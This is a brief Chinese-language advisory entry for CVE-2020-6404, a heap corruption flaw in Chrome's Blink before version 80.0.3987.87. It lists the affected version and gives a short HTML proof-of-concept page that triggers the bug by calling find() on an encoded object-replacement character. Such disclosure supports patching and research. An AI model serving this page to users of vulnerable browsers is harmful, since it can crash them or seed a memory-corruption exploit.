CVE-2020-6404 Google Chrome Blink 缓冲区错误漏洞¶

一、漏洞简介¶

在80.0.3987.87之前的Google Chrome中，Blink中的不当实现使远程攻击者有可能通过精心制作的HTML页面利用堆破坏。

二、漏洞影响¶

Google Chrome 80.0.3987.87

三、复现过程¶

poc

<!DOCTYPE html>
<head>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function(){
find(decodeURIComponent('\uFFFC'));
});
</script>
</head>
<body>
<legend></legend>
</body>
</html>